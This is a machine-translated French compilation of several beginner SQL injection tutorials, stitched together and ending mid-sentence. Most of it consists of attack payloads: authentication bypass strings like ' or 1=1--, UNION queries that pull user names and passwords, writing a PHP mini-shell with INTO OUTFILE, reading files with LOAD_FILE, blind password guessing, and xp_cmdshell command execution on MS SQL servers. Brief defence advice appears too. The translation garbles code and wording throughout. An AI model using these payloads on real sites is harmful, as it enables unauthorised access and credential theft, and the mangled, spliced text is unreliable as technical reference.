Instructions pour l'utilisation d'une injection JSQL - une injection SQL de recherche et d'opération multifonctionnelles à Kali Linux. Injection SQL de et à l'injection SQL pour les débutants

L'injection SQL est une attaque qui utilise des énoncés SQL dynamiques, déposant certaines parties des instructions dans les commentaires ou en ajoutant une condition qui sera toujours vraie. Il est destiné aux trous de l'architecture d'applications Web et utilise des instructions SQL pour effectuer un code SQL malveillant:

Dans cet article, nous examinerons les méthodes utilisées dans les injections SQL et les moyens de protéger les applications Web de ces attaques.

Comment fonctionne les injections SQL

Les types d'attaques pouvant être effectués à l'aide d'injections SQL diffèrent dans le type de mécanismes de base de données concernés. L'attaque s'adresse aux déclarations SQL dynamiques. L'opérateur dynamique est un opérateur créé lors de l'exécution basé sur des paramètres du formulaire Web ou de la chaîne de requête URI.

Considérez une application Web simple avec le formulaire d'entrée. Le code HTML est affiché ci-dessous:

  • Formulaire accepte l'adresse e-mail, puis le mot de passe va à fichier php nommé index.php;
  • La session est stockée dans le fichier de cookies. Cette fonctionnalité est activée lors de l'installation du drapeau SENSAMER_ME. La méthode postale est utilisée pour envoyer des données. Cela signifie que les valeurs ne sont pas affichées dans l'URL.

Supposons que la demande de vérification de l'ID utilisateur du côté serveur est la suivante:

  • La requête utilise la valeur des valeurs de la matrice $ _Post directement, sans le shanter;
  • Le mot de passe est crypté à l'aide de l'algorithme MD5.

Nous envisagerons une attaque utilisant SQL Injection Sqlfiddle. Ouvrez l'URL http://sqlfiddle.com/ dans le navigateur. La fenêtre suivante apparaîtra à l'écran.

Remarque: vous devrez écrire des instructions SQL:

Étape 1. Entrez ce code sur le panneau de gauche:

Créer une table `Utilisateurs` (INT NON NULL Auto_inCrementation,` Email` Varcharchar (45) NULL, `Mot de passe` Varcharchar (45) NULL, clé primaire (` id`)); Insertion dans les utilisateurs (email, mot de passe) valeurs (" [Email protégé]", MD5 (" ABC "));

Étape 2. Cliquez sur le " Construire le schéma.».
Étape 3. Entrez le code ci-dessous dans le volet de droite:

sélectionnez * à partir des utilisateurs;

Étape 4. Cliquez sur " Exécutez SQL." Vous verrez le résultat suivant:

Supposons que l'utilisateur fournisse une adresse email [Email protégé] et 1234 comme mot de passe. La demande qui doit être complétée dans la base de données peut ressembler à ceci:

L'exemple ci-dessus sur le code SQL d'un exemple peut être acheminé en éliminant la partie de mot de passe du mot de passe et l'addition de la condition qui sera toujours vraie. Supposons que l'attaquant substitue les données suivantes dans le champ Adresse électronique:

[Email protégé]"Ou 1 \u003d 1 limite 1 -"]

et XXX dans le champ Mot de passe.

L'opérateur dynamique généré ressemblera à ceci:

  • [Email protégé] se termine par une citation qui complète la chaîne;
  • Ou 1 \u003d 1 limite 1 est une condition qui sera toujours vraie, il limite les résultats retournés d'une seule entrée.

0; «Et ... est un commentaire de SQL, qui exclut une partie du mot de passe.

Copiez la requête ci-dessus et collez-la dans la zone de texte SQL Fiddlerun SQL, comme indiqué ci-dessous:

Activité Hacker: Injection SQL dans les applications Web

Nous avons une application Web simple disponible à l'adresse http://www.techpanda.org/, qui est spécifiquement rendue vulnérable aux attaques à l'aide d'injections SQL pour les débutants à des fins de démonstration. Le code de code HTML indiqué ci-dessus est extrait de la page d'autorisation de cette application.

Il fournit une sécurité de base, telle que le champ E-mail Sane. Cela signifie que le code ci-dessus ne peut pas être utilisé pour contourner ce mécanisme.

Pour le contourner, vous pouvez utiliser le champ Mot de passe. Le graphique suivant montre les étapes à exécuter:

Supposons que l'attaquant fournisse les données suivantes:

Étape 1: entre [Email protégé] comme adresse e-mail;
Étape 2: entre XXX ') ou 1 \u003d 1 -];

Clique sur le bouton "Soumettre".

Il sera envoyé au panneau d'administration. La requête générée ressemblera à ceci:

Le diagramme ci-dessous montre comment la demande a été générée:

Ici:

  • La demande suppose que le cryptage MD5 est utilisé;
  • Une simple critique et un support de fermeture sont utilisés;
  • La condition est ajoutée à l'opérateur, qui sera toujours vraie.

En règle générale, les attaquants tentent d'appliquer plusieurs méthodes différentes à l'attaque à l'aide d'injections SQL.

Autres types d'attaques utilisant des injections SQL

Les injections SQL peuvent causer des dégâts beaucoup plus importants que de se connecter au système contourner le mécanisme d'autorisation. Certaines de ces attaques peuvent:

  • Suprimmer les données;
  • Effectuer la mise à jour des données;
  • Effectuer l'ajout de données;
  • Exécutez sur le serveur serveur qui téléchargera et installera les logiciels malveillants;
  • Exporter vers le serveur d'attaquants de données de valeur distinct, tels que les détails carte de crédit, e-mail et des mots de passe.

La liste ci-dessus n'est pas complète. Cela donne simplement une idée de quel danger représente des injections SQL.

Outils pour l'automatisation SQL Injection

Dans l'exemple ci-dessus, nous avons utilisé des méthodes d'attaque manuelles. Avant de faire une injection SQL, vous devez comprendre qu'il existe des outils automatisés qui vous permettent d'effectuer des attaques plus efficacement et plus rapides:

  • Sqlsmack;
  • Sqlping 2;
  • SQLMAP.

Comment prévenir l'injection SQL

Voici quelques règles simples qui permettront de protéger contre les attaques à l'aide d'injections SQL:

Entrez les données utilisateur ne doit pas être approuvé. Il doit toujours être sécurisé avant que les données ne soient utilisées dans des opérations dynamiques SQL.

Procédures stockées - Ils peuvent encapsuler des requêtes SQL et traiter toutes les données d'entrée en tant que paramètres.

Demandes préparées - Les requêtes sont d'abord créées, puis toutes les données utilisateur fournies sont traitées comme paramètres. Cela n'affecte pas la syntaxe de l'instruction SQL.

Expressions régulières - Peut être utilisé pour détecter le code potentiellement malveillant et la supprimer avant d'exécuter des relevés SQL.

Droits d'accès à la connexion de la base de données - à protéger contre les injections SQLLes comptes utilisés pour se connecter à la base de données ne doivent être fournis que droits requis Accès. Cela aidera à limiter les actions que les opérateurs SQL peuvent effectuer sur le serveur.

Messages d'erreur - Ne divulguez pas d'informations confidentielles. Messages d'erreur d'utilisateur simples tels que " Désolé, une erreur technique est arise. Le service de support en est déjà notifié. Répéter tentative plus tard«Vous pouvez utiliser au lieu d'afficher les requêtes SQL qui ont provoqué une erreur.

Salutations, lecteur. Dernièrement, Je suis friand de la sécurité Web et, dans une certaine mesure, le travail est lié à cela. Parce que Je suis devenu de plus en plus et plus souvent de remarquer des thèmes sur divers forums, avec une demande de montrer comment tout cela fonctionne, j'ai décidé d'écrire un article. L'article sera conçu pour ceux qui n'ont pas rencontré semblable, mais j'aimerais apprendre. Sur le réseau, il existe relativement de nombreux articles sur ce sujet, mais pour les débutants, ils sont un peu complexes. Je vais essayer de tout décrire de la langue compréhensible et des exemples détaillés.

Préface

Afin de comprendre cet article, vous n'aurez pas particulièrement besoin de la connaissance de la langue SQL et du moins la présence d'une bonne patience et de cerveaux - pour la mémorisation.

Je crois que la lecture de l'article sera petite, car Nous avons besoin d'exemples de vie - comme la pratique est connue, dans le processus de mémorisation, il n'y a pas de superflu. Par conséquent, nous écrirons des scripts vulnérables et de nous entraînerons.

Qu'est-ce que l'injection SQL?
Parlant langage simple - Ceci est une attaque sur une base de données qui fera une action qui n'a pas été planifiée par le créateur du script. Un exemple de la vie:

Père, a écrit maman en note de sorte qu'elle vous donne 100 roubles et la mettez sur la table. Recyclage dans la langue Comic SQL, nous obtiendrons:
Sortez d'un portefeuille 100 roubles et donnez-leur vous

Ainsi, comme le père a mal écrit une note (écriture maladroite) et l'a laissée sur la table, j'ai vu son frère Vasi - Peter. Petya, être un pirate informatique, fini là-bas "ou paver" et s'est avéré être une telle demande:
Sortez du portefeuille 100 roubles et donnez-leur vous ou animal de compagnie

Ma mère en lisant la note, a décidé qu'elle a donné de l'argent hier et a donné 100 roubles dans l'animal. Voici un exemple simple d'injection SQL de la vie :) sans filtrage des données (maman à peine désassemblé l'écriture manuscrite), Petya a atteint le profit.

Préparation
Pour la pratique, vous aurez besoin d'une archive avec les scripts source de cet article. Téléchargez-le et déballez-le sur le serveur. Importer la base de données et définir les données dans le fichier. cfg.php.

Rechercher SQL Injection

Comme vous l'avez déjà compris, l'injection apparaît des données entrantes qui ne sont pas filtrées. L'erreur la plus courante n'est pas le filtrage de l'ID transmis. Bien, parlant brutalement pour substituer les citations dans tous les domaines. Que ce soit une demande d'obtention / poste et même de cookie!

Paramètre numérique entrant
Pratiquer, nous avons besoin d'un script index1.php.. Comme je l'ai dit ci-dessus, nous substituons les citations de l'ID de la nouvelle.

Parce que Notre demande n'a pas de filtration:

$ id \u003d $ _GET [id "]; $ Query \u003d "Sélectionnez * de nouvelles où id \u003d $ id";

Le script comprendra comme

Sélectionnez * à partir de nouvelles où id \u003d 1 "

Et donnez-nous une erreur:
AVERTISSEMENT: mysql_fetch_array () s'attend à ce que le paramètre 1 soit une ressource, Boolean donné dans C: \\ WebServ \\ domaines \\ sqlinj \\ index1.php à la ligne 16

Si l'erreur n'a pas été émise - il peut y avoir les raisons suivantes:

Les injections 1.SQL ne sont pas ici - les citations sont filtrées ou vaut simplement la conversion à (int)
2. Sortie d'erreur concigue.

Si cela a toujours apporté une erreur - Hourra! Nous avons trouvé le premier type d'injection SQL - un paramètre entrant numérique.

Paramètre entrant de chaîne

Les demandes seront envoyées à index2.php.. DANS ce fichierLa demande a la forme:
$ utilisateur \u003d $ _GET ["utilisateur"]; $ Query \u003d "Sélectionnez * à partir de nouvelles où User \u003d" $ utilisateur "";

Ici, nous faisons un exemple de nouvelles par nom d'utilisateur, et encore - non filtrer.
Encore une fois, envoyez une demande avec des citations:

Émis une erreur. D'ACCORD! Donc, il y a une vulnérabilité. Pour commencer, nous en aurons assez - nous allons procéder à la pratique.

Commencer

Un peu de théorie

Vous ne pouvez probablement pas attendre d'extraire quelque chose à cet égard, à l'exception des erreurs. Pour commencer, nous souhaitons que le signe " -- «Il est considéré comme un commentaire dans SQL.

ATTENTION! Avant et après, il doit y avoir des espaces. Dans l'URL, ils sont transmis comme %20

Tout ce qui vient après le commentaire - sera jeté qu'il existe une requête:
Sélectionnez * à partir de nouvelles où User \u003d "Alexanderphp" - Habrahabra

C'est un succès. Vous pouvez l'essayer sur le script Index2.php, envoyant une telle demande:

Sqlinj / index2.php? User \u003d alexanderphp "% 20-% 20habrahabr

Apprenez le paramètre syndicat. En SQL mot-clé syndicat Il est utilisé pour combiner les résultats de deux requêtes SQL dans une seule table. C'est-à-dire, afin de tirer quelque chose dont nous avons besoin d'une autre table.

Supprimer de cette faveur

Si le paramètre "numérique", nous n'avons pas besoin d'envoyer des devis dans la demande et de mettre naturellement un commentaire à la fin. Retourner au script index1.php..

Reportez-vous à SQLINJ / INDEX1.PHP Script? ID \u003d 1 Union Select 1. La demande à la base de données est obtenue ici:
Sélectionnez * à partir de nouvelles où ID \u003d 1 Union Select 1
Et il nous a donné une erreur, parce que Pour travailler avec la broderie des demandes, nous avons besoin du même nombre de champs.

Parce que Nous ne pouvons pas affecter leur quantité dans la première demande, puis nous devons choisir leur nombre dans la seconde qu'il est égal au premier.

Nous sélectionnons le nombre de champs

La sélection des champs est très simple, envoyez simplement de telles demandes:
sqlinj / index1.php? id \u003d 1 Union Select 1,2
Erreur…
Sqlinj / index1.php? ID \u003d 1 Union Select 1,2,3
Erreur à nouveau!
sqlinj / index1.php? id \u003d 1 Union Select 1,2,3,4,5
Aucune erreur! Donc, le nombre de colonnes est égal à 5.

Par groupe.
Il arrive souvent que les champs peuvent être de 20 ou 40 voire 60. Pour que nous ne suivons pas à chaque fois, nous utilisons Par groupe.

Si demande
Sqlinj / index1.php? Id \u003d 1 groupe par 2
Il n'a pas émettre d'erreurs, puis le nombre de champs est plus 2. Nous essayons:

Sqlinj / index1.php? Id \u003d 1 groupe par 8
Op, nous voyons une erreur, puis le nombre de champs est inférieur à 8.

Si avec un groupe par 4, il n'y a pas d'erreur, et lorsque le groupe de 6 est une erreur, cela signifie que le nombre de champs est 5

Détermination des colonnes de sortie
Pour nous, à partir de la première demande, nous n'avons pas été émis, il suffit de substituer un identifiant inexistant, par exemple:

Sqlinj / index1.php? Id \u003d -1 Union Select 1,2,3,4,5

Cette action, nous avons défini les colonnes affichées sur la page. Maintenant, pour remplacer ces chiffres aux informations souhaitées, vous devez poursuivre la requête.

Sortie de données

Supposons que nous sachions qu'il y a encore une table utilisateurs. dans lequel il y a des champs identifiant, nom. et passe.
Nous devons obtenir des informations sur l'utilisateur avec ID \u003d 1

Par conséquent, nous allons construire une telle demande:

Sqlinj / index1.php? Id \u003d -1 Union Sélectionnez 1,2,3,4,5 des utilisateurs où id \u003d 1
Le script continue également de produire

Pour cela, nous substituons le nom des champs, pour la place des nombres 1 et 3

Sqlinj / index1.php? ID \u003d -1 Union Sélectionnez Nom, 2, Pass, 4,5 des utilisateurs où id \u003d 1
Reçu ce qui était requis!

Pour le "paramètre entrant de chaîne" comme dans le script index2.php. Vous devez ajouter un devis au début et à la signature de commentaire à la fin. Exemple:
sqlinj / index2.php? user \u003d -1 "Union Sélectionnez Nom, 2, Pass, 4,5 des utilisateurs où ID \u003d 1-% 20

Fichiers de lecture / écriture

Pour lire et écrire des fichiers, l'utilisateur de la base de données doit avoir FILE_PRIV DROITE.
Fichiers d'enregistrement
En fait, tout est très simple. Pour enregistrer le fichier, nous utiliserons la fonction Outfile..
sqlinj / index2.php? User \u003d -1 "Union Select 1,2,3,4,5 en Outfile" 1.php "-% 20
Excellent, le fichier s'est inscrit. Donc, nous pouvons verser mini-shell:
sqlinj / index2.php? user \u003d -1 "Union Select 1,"", 3.4.5 en Outfile" 1.php "-% 20
Fichiers de lecture
La lecture de fichier est encore plus facile que l'enregistrement. Juste utiliser la fonction Fichier de chargement, pour le lieu de ce domaine que nous choisissons:

Sqlinj / index2.php? User \u003d -1 "Union Sélectionnez 1, Load_File (" 1.Php "), 3,4,5 -% 20

Ainsi, nous lisons le fichier enregistré précédent.

Façons de protéger

Il est encore plus facile de protéger la vulnérabilité. Il suffit de filtrer les données. Si vous passez des chiffres, utilisez
$ id \u003d (int) $ _GET [id "];
Comme l'a suggéré l'utilisateur malroc. Propriété utilisant des déclarations de PDO ou préparées.

Au lieu d'avoir terminé

Sur ce que je veux terminer ma première partie à propos de "Injection SQL pour débutants". Dans la seconde, nous examinerons des exemples plus lourds d'injections. Essayez d'écrire vous-même des scripts vulnérables et effectuez des demandes.
Et rappelez-vous, ne faites pas confiance à un utilisateur de votre site.

Injection SQL assez bonne opportunité pour obtenir le pirate informatique
Accès au serveur. Et avec un léger effort il
Néanmoins, ça obtient

Coder à l'intérieur

De nos jours, travailler avec des bases de données est pris en charge.
Presque toutes les langages de programmation, il est possible d'inclure de base, C ++, Java, Perl, PHP, Assembler et même JavaScript! Et ces programmes sont appelés autre chose que les systèmes de gestion de la base de données DBMS. Souvent, des bases de données sont appliquées pour résoudre les tâches financières,
Comptes, organisations de personnel, mais ils ont trouvé leur application sur Internet.

Les bases de données sont souvent utilisées pour écrire des applications Web. Leur utilisation est la plus appropriée pour stocker des données d'enregistrement personnalisées, des identificateurs de session, des organisations de recherche, ainsi que d'autres tâches nécessitant davantage de traitement.
quantité de données. Pour faire appel à la base de données, les technologies du serveur sont utilisées: PHP, Perl, ASP, etc. C'est ici que le plus intéressant commence. Quand sur le serveur
Toutes les correctifs sont installés et le pare-feu bloque tous les ports autres que le 80ème ou lorsque l'authentification est nécessaire pour accéder à certaines données, le pirate informatique peut utiliser une injection SQL. L'essence de cette attaque consiste à utiliser une erreur sur les technologies Web et SQL Junction. Le fait est que de nombreuses pages Web pour le traitement de données personnalisées forment une spéciale Sql Demande de base de données. L'utilisation négligente de cette technique peut conduire à des résultats assez intéressants ...

Injection SQL

Pour expliquer les attaques, imaginez que vous êtes allé sur le site. Afin de télécharger un toulisme très important et une notification avec horreur, vous pouvez le faire ne peut être enregistré que et enregistrement, bien sûr, je ne veux pas donner le dernier gagné, mais sans le programme en aucune façon! Il est temps de se rappeler comment
Accès aux bases de données Sql. Par exemple, la vérification de la connexion et du mot de passe sur PHP peut avoir le formulaire suivant:

$ résultat \u003d mysql_db_query ($ db, "select * à partir de $ TABLE où utilisateur \u003d" $ login "et
Passe \u003d "$ mot de passe");
$ num_rows \u003d mysql_num_rows ($ Résultat);
Mysql_close ($ link);
Si ($ NUM_ROWS! \u003d 0)
{
// Authentification OK.
}
AUTRE.
{
// Erreur d'authentification
}

J'ai ajouté deux commentaires, "Authentification OK" - au lieu de cela devrait
GO Code qui sera rempli si le mot de passe et la connexion sont corrects. Une autre "erreur d'authentification" est un lieu où le code sera décrit, exécuté dans le cas de leur incorrecture. Si vous remplissez le formulaire, la demande sera similaire à «http://www.server.com?login\u003duser&password\u003d31337», où le nom www.server.com
Les serveurs auxquels nous essayons de se connecter. Nous avons trouvé ce qu'ils cherchaient, et pour moi de revenir au travail à nouveau Sql. Donc, si vous devez spécifier un identifiant et un mot de passe pour autorisation, ensuite formé Sql La demande aura le formulaire suivant:

Sélectionnez * à partir des utilisateurs où login \u003d "utilisateur" et
Mot de passe \u003d "31337"

Cela signifie approximativement ce qui suit: renvoyez-moi tous les enregistrements de la base de données des utilisateurs que le nom d'utilisateur est "utilisateur" et le mot de passe "31337". S'il y a un tel enregistrement, l'utilisateur est enregistré, mais sinon, il n'y a pas de ... mais dans certaines circonstances, tout peut être corrigé. Signification de la situation lorsque l'application ne vérifie pas le contenu des données transmises ou des chèques non complètement, pour la présence Sql instructions. DANS cet exemple Deux champs de connexion et de mot de passe sont vérifiés, mais si vous spécifiez "31337" et e-mail \u003d "comme mot de passe [Email protégé]"(Pas de citations doubles), alors la demande fonctionnera un peu différente:

Sélectionnez * à partir des utilisateurs où login \u003d "utilisateur" et mot de passe \u003d "31337" et
email \u003d " [Email protégé]"

Et dans le cas de l'existence du champ de messagerie, cette condition sera également vérifiée. Si vous vous souvenez des bases de l'algèbre booléenne, cela me vient à l'esprit que, à l'exception de l'opération "et" existe "et", et comme leur utilisation est supportée par SQL, c'est possible
La méthode décrite ajoutez une condition qui renvoie toujours la vérité. Pour implémenter cela, vous devez spécifier "utilisateur" ou 1 \u003d 1-- "en tant que connexion, auquel cas la demande prendra le formulaire:

Sélectionnez * à partir des utilisateurs où login \u003d "utilisateur" ou 1 \u003d 1-- "et
Mot de passe \u003d "31337"

Pour commencer, vous devez savoir que "-" signifie la fin de la demande et tout après "-"
Il ne sera pas traité! Il s'avère, comme si nous avons fait une demande:

Sélectionnez * à partir des utilisateurs où login \u003d "utilisateur" ou 1 \u003d 1

Comme vous le voyez, nous avons ajouté la condition "1 \u003d 1", cela signifie que le critère de vérification sera "si le nom d'utilisateur" ou 1 \u003d 1 ", mais après tout, 1 est toujours 1 (seulement l'arithmétique de Dani Whisper peut être exceptionnel :)). Pour vérifier nos soupçons
Nous marquons dans la barre d'adresse "http://www.server.com?login\u003dUser ou 1 \u003d 1 - & mot de passe \u003d 31337". Cela conduit au fait qu'il ne joue pas de rôles qui se connecter nous avons indiqué et
Surtout mot de passe! Et nous sommes dans la matrice ... Oh, dans le système et nous pouvons télécharger discrètement ce dont nous avons besoin.

Mais tout est en théorie. En pratique, nous ne savons pas comment la demande est formée, quelles données sont transmises et dans quelle séquence. Par conséquent, vous devez spécifier "utilisateur" ou 1 \u003d 1-- "pour tous les champs. Vous devez également vérifier le formulaire d'étanchéité pour les champs cachés. Dans HTML, ils sont décrits comme" "Si tel existe, enregistrez la page et modifiez les champs des champs champs. Les valeurs contenues dans elles sont souvent oubliées de vérifier la présence d'instructions SQL. Mais de sorte que tout se déroule sous la forme (formulaire TEG") Pour le paramètre "Action" pour spécifier le chemin complet du script. Qu'est-ce qui traite cette demande.

Mais il n'est pas toujours connu comme une demande formée,
Le dernier exemple pourrait être formé de la manière suivante:

Sélectionnez * à partir des utilisateurs où (login \u003d "utilisateur" et mot de passe \u003d "31337")
Sélectionnez * à partir des utilisateurs où login \u003d "utilisateur" et mot de passe \u003d "31337"
Sélectionnez * à partir des utilisateurs où login \u003d utilisateur et mot de passe \u003d 31337

Dans ce cas, vous pouvez essayer les options suivantes:

"Ou 1 \u003d 1--
"Ou 1 \u003d 1--
Ou 1 \u003d 1--
"Ou" a "\u003d" un
"Ou" a "\u003d" un
") Ou (" A "\u003d" A
Ou "1" \u003d "1"

Tout dépend du but du script et du programmeur. Comme tout le monde est particulier pour faire tout à sa manière, il est tout à fait possible que le programmeur ne choisisse pas l'option la plus simple. Par conséquent, vous ne devriez pas immédiatement
abandonner si vous obtenez un échec. Nécessaire
Essayez d'essayer autant que possible des options ...

Détection de mot de passe.

L'autorisation de contournement n'est pas mauvaise, mais très souvent, le trou que vous utilisez ferme, et tout ce qui a été perdu pour vous est perdu.
Cela devrait être attendu si le programmeur n'est pas un imbécile qu'il
Au fil du temps, cela couvrira toutes les lacunes. De telles situations, vous pouvez facilement vous débarrasser de la pré-prise en charge. La bonne solution peut deviner le mot de passe à travers
Analyse des résultats d'authentification. Pour commencer, nous essayons de deviner le mot de passe, car nous introduisons la place:

"Ou mot de passe\u003e" A

Si nous répondons à cette autorisation est passée, alors mot de passe
Cela ne commence pas sur la lettre "A", mais sur certaines des opérations suivantes sur la liste. Se déplaçant plus loin et remplacer
Placez "A", le "B" suivant, "C", "D", "E" ..., etc. Pendant que nous ne répondons pas à ce que le mot de passe n'est pas correct. Laissez ce processus s'est arrêté sur le symbole «X», auquel cas deux options pour le développement de la situation sont créées, le mot de passe est trouvé ou le mot de passe lu sur ce symbole. Pour vérifier la première option, nous écrivons un mot de passe:

"Ou mot de passe \u003d" x

et si le mot de passe est accepté et laissez-vous, alors vous avez deviné le mot de passe! Eh bien, pas, alors le deuxième caractère doit être sélectionné,
De la même manière, dès le début. Pour vérifier deux caractères
Vous avez besoin de la même chose. En fin de compte, vous obtiendrez un mot de passe et vous recherchez une connexion à 🙂
Dans le cas où le mot de passe trouvé et la connexion ne vous convient pas, vous pouvez en trouver d'autres. Pour ce faire, commencez à vérifier à partir du dernier symbole du mot de passe trouvé. Donc, si le mot de passe était "xxx" pour vérifier l'existence d'un mot de passe
"Xxy":

"Ou mot de passe \u003d" xxx

afin de ne pas manquer pas une option!

Server MS SQL

MME. serveur SQL En général, la découverte si le filtrage nécessaire est manqué. L'utilisation de la vulnérabilité d'injection SQL peut être exécutée
Commandes sur un serveur distant à l'aide de Exec Master..xp_cmdshell. Mais pour utiliser cette conception
Vous devez remplir l'opération Sélectionner. Dans les instructions SQL sont séparées par un point de virgule. Par conséquent, connectez-vous à une adresse IP par telnet "y, un mot de passe est requis / Connectez-vous à taper:

"; Exec maître..xp_cmdshell" telnet 192.168.0.1 "-

MS SQL Server dispose de quelques fonctionnalités plus intéressantes, ce qui vous permet de trouver les connexions et les mots de passe stockés dans la base de données. Pour cela, la conclusion d'erreur est redirigée vers un serveur arbitraire et un support
Analyse Vous pouvez trouver le nom de la table, des champs et de leurs types. Après lequel vous pouvez demander

"Union Select Top 1 Connexion des utilisateurs--

(Nom du champ de connexion contenant la connexion et les utilisateurs - Nom de la table,
Assis dans le processus d'analyse des erreurs).

La réponse peut être la suivante:


Erreur de syntaxe Conversion de la valeur Nvarchar "(! Lang: admin" to a column of data type int. !}
/Default.asp, ligne 27

Nous savons maintenant qu'il y a un utilisateur nommé "admin". Maintenant, nous pouvons nous procurer un mot de passe:

"Union Sélectionnez Top 1 mot de passe des utilisateurs où login \u003d" admin "-

Résultat:

Fournisseur Microsoft Ole DB pour les pilotes ODBC Erreur "80040E07"
Erreur de syntaxe convertir la valeur nvarchar "(! Lang: xxx" to a column of data type int. !}
/ Shadault.asp, ligne 27

Nous savons maintenant qu'il existe un "administrateur" avec un mot de passe "xxx". Vous pouvez en toute sécurité
Utilisez et connectez-vous au système

Mais il y a encore beaucoup d'autres fonctions pour travailler avec SQL,
Lorsque vous travaillez avec la base de données, vous pouvez également supprimer des données, modifier, insérer vos propres fichiers et même manipuler des fichiers et utiliser avec le registre.
En général, SQL Server - Taxis

protection

Mais cela peut naturellement être évité. Pour cela, vous pouvez
Profitez des filtres
fourni par les fabricants. Vous pouvez trouver vos solutions, par exemple, pour remplacer tous les mêmes
citations double (si pour Sql Demande que nous utilisons célibataire), ou inversement. Ne peut être autorisé qu'avec des lettres et des réservoirs @ si vous devez entrer
adresse e-mail. Et en perle il y a un incroyable
Fonction 🙂 citation () dans le module DBD :: DBD, qui rend votre demande avec succès en toute sécurité en ce qui concerne Sql. Beaucoup de solutions, vous avez juste besoin d'eux
profiter de Sinon, pourquoi alors tout ça ...

Injection SQL pour Dummies, piratage ASP + MSSQL

Alexander Antipov.

Cet article ne contient aucune nouvelle vérité, l'injection SQL est largement décrite et utilisée partout. L'article est plus destiné aux débutants, mais peut-être et les professionnels seront peut-être en mesure de trouver un ou deux nouveaux astuces.


Cet article est destiné à aider les débutants à faire face aux problèmes liés auxquels ils peuvent rencontrer lors de l'utilisation de la technique d'injection SQL, l'utilisent avec succès et de pouvoir se protéger de telles attaques.

introduction

Lorsque le serveur du serveur est affiché à seulement 80 ports et que le scanner de vulnérabilité ne peut rien signaler intéressant, et vous savez que l'administrateur système établit toujours très rapidement toutes les pages au serveur Web, le dernier de notre chance reste le piratage Web. L'injection SQL est l'un des types de piratage Web, qui n'utilisent que 80 ports et peuvent fonctionner, même avec des paiements installés en temps opportun. Cette attaque est plus dirigée vers l'application Web (type ASP, JSP, PHP, CGI, etc.) que directement sur le serveur Web ou les services du système d'exploitation.

Cet article ne contient aucune nouvelle vérité, l'injection SQL est largement décrite et utilisée partout. L'article est plus destiné aux débutants, mais peut-être et les professionnels seront peut-être en mesure de trouver un ou deux nouveaux astuces. Je recommande également de voir à la fin de l'article Liens pour plus de détails de l'homme du métier.

1.1 Qu'est-ce que l'injection SQL?

L'injection SQL est une méthode conçue pour introduire des requêtes / commandes SQL via des pages Web. De nombreuses pages Web utilisent les paramètres présentés aux utilisateurs Web et créent une demande de base de données SQL. Prenez un étui avec un identifiant utilisateur pour un exemple lorsqu'il existe une page Web avec nom et mot de passe et une requête SQL est effectuée dans la base de données, pour vérifier s'il existe un utilisateur enregistré avec ce nom et votre mot de passe. Utilisation d'une injection SQL, vous pouvez envoyer le champ Nom d'utilisateur et / ou Mot de passe inventé, en modifiant la demande SQL, qui peut nous fournir quelque chose d'intéressant.

2.0 Que devrions-nous regarder

Essayez de trouver les pages que vous demandez des données, telles que la page de recherche, la discussion, etc. parfois pages HTML En utilisant la méthode postale pour envoyer les commandes une autre page Web. Dans ce cas, vous ne verrez pas les paramètres de l'URL. Cependant, dans ce cas, vous pouvez rechercher le "formulaire" étiquette dans code source Pages HTML. Vous trouverez quelque chose comme ceci:



Tous les paramètres de chaque

et
Potentiellement peut être vulnérable à l'introduction du code SQL.

2.1 Et si vous n'avez pas trouvé de page qui utilise une entrée?

Recherchez des pages comme des pages Web ASP, JSP, CGI ou PHP. Essayez de trouver des pages qui utilisent les paramètres, comme:

3.0. Comment puis-je vérifier ce que j'ai trouvé est vulnérable?

Essayez de commencer avec une citation unique. Entrez la ligne suivante:

salut "ou 1 \u003d 1--

dans le champ Nom d'utilisateur ou le mot de passe, ou même dans Paramètre URL. Exemple:

Connexion: Bonjour "ou 1 \u003d 1--
Pass: hi "ou 1 \u003d 1--
http: //duck/index.asp? id \u003d hi "ou 1 \u003d 1--

Si vous l'avez fait avec un champ caché, téléchargez simplement la source HTML, enregistrez-la sur le disque dur, modifiez respectivement l'URL et le champ masqué. Exemple:



Si bonne chance de votre côté, vous entrerez dans le système sans nom ni mot de passe.

3.1 Mais pourquoi "ou 1 \u003d 1--?

Considérons un autre exemple qui explique l'utilité de la conception "ou 1 \u003d 1--. En plus de contourner l'enregistrement, vous pouvez également envisager des informations supplémentaires qui ne sont généralement pas disponibles. Considérez la page ASP qui fait référence à une autre page avec l'URL suivante :

http: //duck/index.asp? Catégorie \u003d Food

Dans l'URL, "catégorie" est le nom de la variable et "nourriture" - la valeur attribuée à cette variable. Pour ce faire, la page ASP peut contenir le code suivant:

v_cat \u003d demande ("catégorie")
Sqlstr \u003d "Sélectionnez * à partir du produit où pcategory \u003d" "" & v_cat & "" "
SET RS \u003d CONN.EXECTE (SQLSTR)

comme on peut le voir, notre variable sera combinée avec v_cat et donc la requête SQL devrait devenir:

Sélectionnez * à partir du produit où pcategory \u003d "nourriture"

Cette requête doit renvoyer un ensemble contenant une ou plusieurs lignes correspondant à la condition, dans ce cas "nourriture". Maintenant, changez l'URL comme suit:

http: //duck/index.asp? Catégorie \u003d Food "ou 1 \u003d 1--
Sélectionnez * du produit où pcategory \u003d "nourriture" ou 1 \u003d 1-- '

Cette requête retournera toutes les lignes de la table des produits, que ce soit, que la PCAgory soit "alimentaire" ou non. Double DAMN "-" Rapports que MS SQL Server ignore le reste de la requête qui suit une citation unique ("). Parfois, vous pouvez remplacer le double tiret du DIEZER" # ".

Toutefois, si le serveur SQL n'est pas utilisé, ou vous ne pouvez pas ignorer le reste de la demande, essayez:

"ou" a "\u003d" un

Maintenant, la requête SQL sera:

Sélectionnez * du produit où pcategory \u003d "Food" ou "A" \u003d "A"

Cette demande renvoie le même résultat.

Selon la demande SQL réelle, vous devrez probablement essayer certaines de ces fonctionnalités:

"Ou 1 \u003d 1--
"Ou 1 \u003d 1--
ou 1 \u003d 1--
"ou" a "\u003d" un
"ou" a "\u003d" un
") Ou (" A "\u003d" A

4.0 Comment puis-je exécuter des commandes à distance à l'aide d'une injection SQL?

La possibilité d'entrer une commande SQL signifie généralement que nous pouvons exécuter des demandes SQL éventuellement. L'installation par défaut MS SQL Server est effectuée avec les droits du système. Nous pouvons appeler des procédures intégrées, telles que MASTER..XP_CMDSHELL, pour une exécution à distance de commandes arbitraires:

"; Exec maître..xp_cmdshell" ping 10.10.1.2 "-

Essayez d'utiliser des guillemets doubles ("), si (") ne fonctionne pas.

Le point avec une virgule finira la requête SQL actuelle et vous permettra d'exécuter de nouvelles équipes SQL. Pour vérifier si la commande est terminée avec succès, vous pouvez vérifier les paquets ICMP au 10.10.1.2, existe-t-il des paquets d'un serveur vulnérable:

